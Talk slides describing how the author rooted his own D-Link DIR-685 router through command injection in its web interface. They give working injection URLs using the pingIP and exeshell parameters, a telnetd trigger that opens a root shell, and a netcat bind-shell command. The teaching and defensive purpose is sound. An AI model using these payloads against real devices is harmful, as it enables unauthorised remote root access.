Practice Penetration Testing on Your Home Router

Kyle Rankin

Sr. Systems Administrator

Cyan Inc.

Author of The Official Ubuntu Server Book, Ubuntu Hacks, and Knoppix Hacks, Linux Journal Columnist

http://greenfly.org/talks/security/practice_hacking.html

Agenda

• Why Hack at Home
• The Dlink DIR-685
• Initial Root Attempts
• Basic Web Hacking
• Attack 1: Ping Test
• URL Escape Codes
• Attack 1: Exploit Attempts
• Attack 2: System Tools
• Attack 2: Netcat Payload
• Attack 2: Rooted!
• Conclusion
• Questions

Why Hack at Home

• Hacking is fun
• Jail is less fun
• Hacking your own servers is ok...
• Web interface common in consumer devices
• Adventure of others' code, safety of home network.

The Dlink DIR-685

• 802.11n router
• 5 gigabit ports
• 2 USB ports
• Color LCD
• Supports 2.5" SATA drives up to 1Tb for NAS
• UPnP server
• Requires ext3 on SATA drive, probably runs Linux
• Found on woot.com for $54.99.

Initial Root Attempts

• Web research confirmed Linux OS
• Hardware hacking exposes serial port
• Possible telnet was already exposed:

PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

• Oh well, worst case, I'll use the serial port
• Time to hack the web interface.

Basic Web Hacking

• (Lack of) input validation is the key
• Most sites accept some user input
• Can add commands or code, executed by the server
• Often can add javascript or HTML that shows up on the page
• Perl has "taint mode", PHP must remember to validate input
• Often sites validate input with JS, not after GET/POST
• Basically: identify any input sources, exploit them.

Basic Web Hacking

Attack 1: Ping Test

• First promising page: Ping Test
• Accepts IP as input, runs ping against it
• Possibly uses system call
• JS sanitizes IP, but IP shows up in URL:
• http://192.168.0.1/tools_vct.php?pingIP=192.168.0.1
• pingIP GET data not sanitized, put anything there
• Demo.

URL Escape Codes

• URLs don't accept all characters
• Ever notice %20 in a URL where you typed a space?
• For special characters, use escape codes:

%3B ;
%3F ?
%26 &
%22 "
%3C <
%3E >
%7C |
%60 `

Attack 1: Exploit Attempts

• First, tried to inject a sleep 30 command
• http://192.168.0.1/tools_vct.php?pingIP=127.0.0.1%3B%20sleep%2030
• Demo
• Attempted other shell and PHP code, nothing worked
• Still could be vulnerable
• "If it's PHP, there will be a hole".

Attack 2: System Tools

• Next, noticed http://192.168.0.1/tools_system.php
• Allows user to reboot router, likely via system call
• Discovered url used by reboot in JS code:
• http://192.168.0.1/sys_config_valid.xgi?exeshell=submit%20REBOOT
• exeshell is a very promising variable name
• Sleep command worked:
• http://192.168.0.1/sys_config_valid.xgi?exeshell=%60sleep 30%60
• Demo.

Attack 2: Netcat Payload

• Netcat is a network Swiss Army Knife
• Common tool, included in many embedded distros
• Often included as part of BusyBox shell
• Can be used as telnet with the right arguments:
• nc -l -p 2323 -e /bin/bash
• Attempted various nc iterations, nothing worked
• Maybe -e compiled out, or nc doesn't exist at all.

Attack 2: Rooted!

• Started to doubt this used a system call
• On a whim, tried telnetd:
• http://192.168.0.1/sys_config_valid.xgi?exeshell=%60telnetd%60

PORT    STATE SERVICE
21/tcp  open  ftp
23/tcp  open  telnet
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

• Demo.

Conclusion

• Developers: sanitize your inputs!
• Attackers: any source of input is a potential exploit
• Look for areas where input likely converts to DB/system calls
• "If it's PHP, there will be a hole".

Questions?

Resources

• http://greenfly.org/talks/security/practice_hacking.html